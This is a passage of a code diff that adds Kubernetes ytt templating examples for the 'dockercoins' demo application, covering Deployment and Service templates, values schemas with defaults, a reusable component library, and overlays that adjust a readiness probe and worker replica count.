+  - port: #@ port
+    protocol: TCP
+    targetPort: #@ port
+  selector:
+    app: #@ name
+  type: #@ type
+#@ end
+#@ end
+---
+#@ defaults = {}
+#@ for name in data.values:
+#@   if name.startswith("_"):
+#@     defaults.update(data.values[name])
+#@   end
+#@ end
+---
+#@ for name in data.values:
+#@   if not name.startswith("_"):
+#@     values = dict(name=name)
+#@     values.update(defaults)
+#@     values.update(data.values[name])
+--- #@ template.replace(component(**values))
+#@   end
+#@ end

k8s/ytt/7-morevalues/schema.yaml

@@ -0,0 +1,19 @@
+#@data/values-schema
+#! Entries starting with an underscore will hold default values.
+#! Entires NOT starting with an underscore will generate a Deployment
+#! (and a Service if a port number is set).
+---
+_default_:
+  repository: dockercoins
+  tag: v0.1
+hasher:
+  port: 80
+redis:
+  repository: library
+  tag: latest
+rng:
+  port: 80
+webui:
+  port: 80
+  type: NodePort
+worker: {}

k8s/ytt/8-library/_ytt_lib/component/deployment.yaml

@@ -0,0 +1,26 @@
+#@ load("@ytt:data", "data")
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: #@ data.values.name
+    container.training/generated-by: ytt
+  name: #@ data.values.name
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: #@ data.values.name
+  template:
+    metadata:
+      labels:
+        app: #@ data.values.name
+    spec:
+      containers:
+      - image: #@ data.values.repository + "/" + data.values.name + ":" + data.values.tag
+        name: #@ data.values.name
+        #@ if/end data.values.port==80:
+        readinessProbe:
+          httpGet:
+            port: #@ data.values.port

k8s/ytt/8-library/_ytt_lib/component/schema.yaml

@@ -0,0 +1,7 @@
+#@data/values-schema
+---
+name: component
+repository: dockercoins
+tag: v0.1
+port: 0
+type: ClusterIP

k8s/ytt/8-library/_ytt_lib/component/service.yaml

@@ -0,0 +1,19 @@
+#@ load("@ytt:data", "data")
+#@ if data.values.port > 0:
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: #@ data.values.name
+    container.training/generated-by: ytt
+  name: #@ data.values.name
+spec:
+  ports:
+  - port: #@ data.values.port
+    protocol: TCP
+    targetPort: #@ data.values.port
+  selector:
+    app: #@ data.values.name
+  type: #@ data.values.type
+#@ end

k8s/ytt/8-library/app.yaml

@@ -0,0 +1,20 @@
+#@ load("@ytt:data", "data")
+#@ load("@ytt:library", "library")
+#@ load("@ytt:template", "template")
+#@ 
+#@ component = library.get("component")
+#@ 
+#@ defaults = {}
+#@ for name in data.values:
+#@   if name.startswith("_"):
+#@     defaults.update(data.values[name])
+#@   end
+#@ end
+#@ for name in data.values:
+#@   if not name.startswith("_"):
+#@     values = dict(name=name)
+#@     values.update(defaults)
+#@     values.update(data.values[name])
+--- #@ template.replace(component.with_data_values(values).eval())
+#@   end
+#@ end

k8s/ytt/8-library/schema.yaml

@@ -0,0 +1,19 @@
+#@data/values-schema
+#! Entries starting with an underscore will hold default values.
+#! Entires NOT starting with an underscore will generate a Deployment
+#! (and a Service if a port number is set).
+---
+_default_:
+  repository: dockercoins
+  tag: v0.1
+hasher:
+  port: 80
+redis:
+  repository: library
+  tag: latest
+rng:
+  port: 80
+webui:
+  port: 80
+  type: NodePort
+worker: {}

k8s/ytt/9-overlay/_ytt_lib/component/deployment.yaml

@@ -0,0 +1,26 @@
+#@ load("@ytt:data", "data")
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: #@ data.values.name
+    container.training/generated-by: ytt
+  name: #@ data.values.name
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: #@ data.values.name
+  template:
+    metadata:
+      labels:
+        app: #@ data.values.name
+    spec:
+      containers:
+      - image: #@ data.values.repository + "/" + data.values.name + ":" + data.values.tag
+        name: #@ data.values.name
+        #@ if/end data.values.port==80:
+        readinessProbe:
+          httpGet:
+            port: #@ data.values.port

k8s/ytt/9-overlay/_ytt_lib/component/schema.yaml

@@ -0,0 +1,7 @@
+#@data/values-schema
+---
+name: component
+repository: dockercoins
+tag: v0.1
+port: 0
+type: ClusterIP

k8s/ytt/9-overlay/_ytt_lib/component/service.yaml

@@ -0,0 +1,19 @@
+#@ load("@ytt:data", "data")
+#@ if data.values.port > 0:
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: #@ data.values.name
+    container.training/generated-by: ytt
+  name: #@ data.values.name
+spec:
+  ports:
+  - port: #@ data.values.port
+    protocol: TCP
+    targetPort: #@ data.values.port
+  selector:
+    app: #@ data.values.name
+  type: #@ data.values.type
+#@ end

k8s/ytt/9-overlay/app.yaml

@@ -0,0 +1,20 @@
+#@ load("@ytt:data", "data")
+#@ load("@ytt:library", "library")
+#@ load("@ytt:template", "template")
+#@ 
+#@ component = library.get("component")
+#@ 
+#@ defaults = {}
+#@ for name in data.values:
+#@   if name.startswith("_"):
+#@     defaults.update(data.values[name])
+#@   end
+#@ end
+#@ for name in data.values:
+#@   if not name.startswith("_"):
+#@     values = dict(name=name)
+#@     values.update(defaults)
+#@     values.update(data.values[name])
+--- #@ template.replace(component.with_data_values(values).eval())
+#@   end
+#@ end

k8s/ytt/9-overlay/rng-healthcheck.yaml

@@ -0,0 +1,20 @@
+#@ load("@ytt:overlay", "overlay")
+
+#@ def match():
+kind: Deployment
+metadata:
+  name: rng
+#@ end
+
+#@overlay/match by=overlay.subset(match())
+---
+spec:
+  template:
+    spec:
+      containers:
+      #@overlay/match by="name"
+      - name: rng
+        readinessProbe:
+          httpGet:
+            #@overlay/match missing_ok=True
+            path: /1

k8s/ytt/9-overlay/schema.yaml

@@ -0,0 +1,19 @@
+#@data/values-schema
+#! Entries starting with an underscore will hold default values.
+#! Entires NOT starting with an underscore will generate a Deployment
+#! (and a Service if a port number is set).
+---
+_default_:
+  repository: dockercoins
+  tag: v0.1
+hasher:
+  port: 80
+redis:
+  repository: library
+  tag: latest
+rng:
+  port: 80
+webui:
+  port: 80
+  type: NodePort
+worker: {}

k8s/ytt/9-overlay/worker-scaling.yaml

@@ -0,0 +1,25 @@
+#@ load("@ytt:overlay", "overlay")
+
+#@ def match():
+kind: Deployment
+metadata:
+  name: worker
+#@ end
+
+#! This removes the number of replicas:
+#@overlay/match by=overlay.subset(match())
+---
+spec:
+  #@overlay/remove
+  replicas:
+
+#! This overrides it:
+#@overlay/match by=overlay.subset(match())
+---
+spec:
+  #@overlay/match missing_ok=True
+  replicas: 10
+
+#! Note that it's not necessary to remove the number of replicas.
+#! We're just presenting both options here (for instance, you might
+#! want to remove the number of replicas if you're using an HPA).